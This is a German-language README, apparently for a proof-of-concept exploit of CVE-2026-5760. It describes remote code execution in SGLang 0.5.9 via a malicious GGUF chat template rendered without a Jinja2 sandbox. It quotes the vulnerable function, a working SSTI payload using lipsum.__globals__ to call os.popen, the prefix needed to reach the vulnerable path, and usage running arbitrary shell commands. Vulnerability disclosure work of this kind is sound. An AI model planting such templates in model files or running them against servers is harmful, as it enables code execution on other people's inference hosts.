
Proof-of-Concept-Ausnutzung von CVE-2026-5760 - RCE in SGLang 0.5.9 über schädliches GGUF
Remote Code Execution durch Server-Side Template Injection (SSTI) im Reranking-Endpunkt von SGLang. Eine bösartige GGUF-Modelldatei mit einem manipulierten tokenizer.chat_template erreicht beliebige Code-Ausführung, sobald sie in SGLang geladen und der /v1/rerank-Endpunkt aufgerufen wird.
Ausnutzung einer Schwachstelle mit kritischem Schweregrad in SGLang durch nicht gesandboxte Jinja2-Template-Rendering. Der Reranking-Endpunkt von SGLang (/v1/rerank) rendert vom Modell bereitgestellte Chat-Templates mit jinja2.Environment() anstelle von ImmutableSandboxedEnvironment, wodurch ein bösartiges Modell beliebigen Python-Code auf dem Inferenzserver ausführen kann.
Dies ist dieselbe Schwachstellenklasse wie CVE-2024-34359 ("Llama Drama"), die llama-cpp-python betraf.
tokenizer.chat_template, der ein Jinja2-SSTI-Payload enthält.serving_rerank.py zu aktivieren./v1/rerank gesendet wird, liest SGLang das chat_template und rendert es mit jinja2.Environment() — ohne Sandbox.Datei: python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
Der PoC erstellt eine bösartige GGUF-Datei und demonstriert die Code-Ausführung über den nicht gesandboxten Rendering-Pfad von SGLang.
python3 exploit.py "id"
Übergeben Sie einen beliebigen Shell-Befehl als Argument — standardmäßig id.
Das in der GGUF-Datei eingebettete bösartige Chat-Template:
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no") ist erforderlich, um die Qwen3-Reranker-Erkennung von SGLang zu aktivieren und die Anfrage durch den verwundbaren Pfad _render_jinja_chat_template() zu leiten.lipsum.__globals__["os"].popen() verlässt den Jinja2-Kontext, um beliebige Betriebssystembefehle auszuführen.Dieses Tool ist nur für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Gehen Sie verantwortungsvoll damit um.